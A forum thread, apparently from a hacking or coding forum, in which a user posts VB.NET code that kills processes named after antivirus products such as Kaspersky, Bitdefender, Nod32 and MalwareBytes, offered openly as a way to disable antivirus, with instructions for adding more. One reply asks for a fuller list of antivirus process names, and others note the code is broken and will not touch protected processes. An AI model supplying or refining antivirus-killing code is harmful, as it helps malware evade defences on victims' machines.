[Astate]

This evening we will see a source code (vb.net) which allows to (kill) Disable antivirus!

Code

Dim local As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To local.Length - 1
Debug.WriteLine(local(i).ProcessName)
If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then 'Anubis
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("outpost") Then 'Outpost
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("npfmsg") Then 'Norman
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("bdagent") Then 'Bitdefender
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("kavsvc") Then 'Kaspersky
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("egui") Then 'Nod32
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("zlclient") Then 'Zonealarm
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("mbam") Then 'malwareBytes
local(i).Kill()
End If
End If
End If
End If
End If
End If
End If
End If

To add antivirus just change the XXXX by the name of the antivirus process:
If Strings.UCase (local (i) .ProcessName) = Strings.UCase ("XXXX") Then
local (i) .Kill ()😭

[Obistone]

Not only is this terrible code, but it will never work. AVs are protected processes and can't be killed like that.

[Astate]

Not only is this terrible code, but it will never work. AVs are protected processes and can't be killed like that.

😕Sorry for this bad post !... But,
I did not want to harm the good being of the Forums...

I just wanted to present a new way of doing things, for those new or the Nob to the Forums who
don't really know the development

I didn't think I would revolutionize the Shit!... 😭

Also I don't believe I saw the same Post on the Forum, So I didn't think I was harmful ?
So I didn't think I was helpful, but informative...

[sh@rp]

@Astate :
informative for those want to know how to kill processes which are not protected ......

[StiefelStevensStievbruder]

Hi,
Me helps the post :)
thank you :)

I have a tehory tipp for how man can kill antivirus with this code.

example: If you will kill the antivirusprogramm "Avast" than you must kill ALL processes,
REALLY ALL PROCESSES that runing for Avast. ALL.

This is only a theory and i have tested it not.
but by many antivirus programms must it be funktionally.

however....
....many fun by install many antiviruses programs and find all procecces for the antiviruses for code it.

give it not a list with this processes names?

what must i search on google to find it out?
i search a list with many many many antivirus names and processes for it....
mhhhh.

please help :)

best regards,

[GruntStyl]

There is much more to it than attempting to kill a process. You need elevated privileges as well as the ability to manage services not processes.

[SIM-5033784]

For anyone who is legitimately interested in learning how Windows protects anti-virus services you can read the docs on it at https://docs.microsoft.com/en-us/windows...troduction which explains how Microsoft Windows Kernel protects these processes from tampering.